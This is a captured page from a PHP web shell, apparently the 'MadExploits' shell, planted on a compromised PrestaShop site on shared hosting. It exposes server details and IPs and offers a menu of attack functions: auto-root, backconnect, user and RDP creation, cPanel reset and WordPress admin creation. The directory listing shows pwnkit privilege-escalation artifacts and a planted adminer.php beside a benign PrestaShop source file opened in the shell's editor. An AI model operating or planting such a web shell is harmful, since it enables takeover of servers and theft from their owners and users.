Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
src /
Adapter /
Debug /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
DebugMode.php
5.94
KB
-rw----r--
DebugModeConfiguration.php
5.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : DebugModeConfiguration.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ namespace PrestaShop\PrestaShop\Adapter\Debug; use PrestaShop\PrestaShop\Adapter\Configuration; use PrestaShop\PrestaShop\Core\Configuration\DataConfigurationInterface; /** * This class manages Debug mode configuration for a Shop. */ class DebugModeConfiguration implements DataConfigurationInterface { /** * @var Configuration */ private $configuration; /** * @var DebugMode Debug mode manager */ private $debugMode; /** * @var string Path to the application defines path */ private $configDefinesPath; public function __construct(DebugMode $debugMode, Configuration $configuration, $configDefinesPath) { $this->debugMode = $debugMode; $this->configuration = $configuration; $this->configDefinesPath = $configDefinesPath; } /** * Returns configuration used to manage Debug mode in back office. * * @return array */ public function getConfiguration() { return [ 'disable_non_native_modules' => $this->configuration->getBoolean('PS_DISABLE_NON_NATIVE_MODULE'), 'disable_overrides' => $this->configuration->getBoolean('PS_DISABLE_OVERRIDES'), 'debug_mode' => $this->debugMode->isDebugModeEnabled(), ]; } /** * {@inheritdoc} */ public function updateConfiguration(array $configuration) { $errors = []; if ($this->validateConfiguration($configuration)) { $this->configuration->set('PS_DISABLE_NON_NATIVE_MODULE', $configuration['disable_non_native_modules']); $this->configuration->set('PS_DISABLE_OVERRIDES', $configuration['disable_overrides']); $status = $this->updateDebugMode((bool) $configuration['debug_mode']); switch ($status) { case DebugMode::DEBUG_MODE_SUCCEEDED: break; case DebugMode::DEBUG_MODE_ERROR_NO_WRITE_ACCESS: $errors[] = [ 'key' => 'Error: Could not write to file. Make sure that the correct permissions are set on the file %s', 'domain' => 'Admin.Advparameters.Notification', 'parameters' => [$this->configDefinesPath], ]; break; case DebugMode::DEBUG_MODE_ERROR_NO_DEFINITION_FOUND: $errors[] = [ 'key' => 'Error: Could not find whether debug mode is enabled. Make sure that the correct permissions are set on the file %s', 'domain' => 'Admin.Advparameters.Notification', 'parameters' => [$this->configDefinesPath], ]; break; case DebugMode::DEBUG_MODE_ERROR_NO_WRITE_ACCESS_CUSTOM: $errors[] = [ 'key' => 'Error: Could not write to file. Make sure that the correct permissions are set on the file %s', 'domain' => 'Admin.Advparameters.Notification', 'parameters' => [$this->configDefinesPath], ]; break; case DebugMode::DEBUG_MODE_ERROR_NO_READ_ACCESS: $errors[] = [ 'key' => 'Error: Could not write to file. Make sure that the correct permissions are set on the file %s', 'domain' => 'Admin.Advparameters.Notification', 'parameters' => [$this->configDefinesPath], ]; break; default: break; } } return $errors; } /** * {@inheritdoc} */ public function validateConfiguration(array $configuration) { return isset( $configuration['disable_non_native_modules'], $configuration['disable_overrides'], $configuration['debug_mode'] ); } /** * Change Debug mode value if needed. * * @param $enableStatus * * @return int the status of update */ private function updateDebugMode($enableStatus) { $currentDebugMode = $this->debugMode->isDebugModeEnabled(); if ($enableStatus !== $currentDebugMode) { return (true === $enableStatus) ? $this->debugMode->enable() : $this->debugMode->disable(); } } }
Close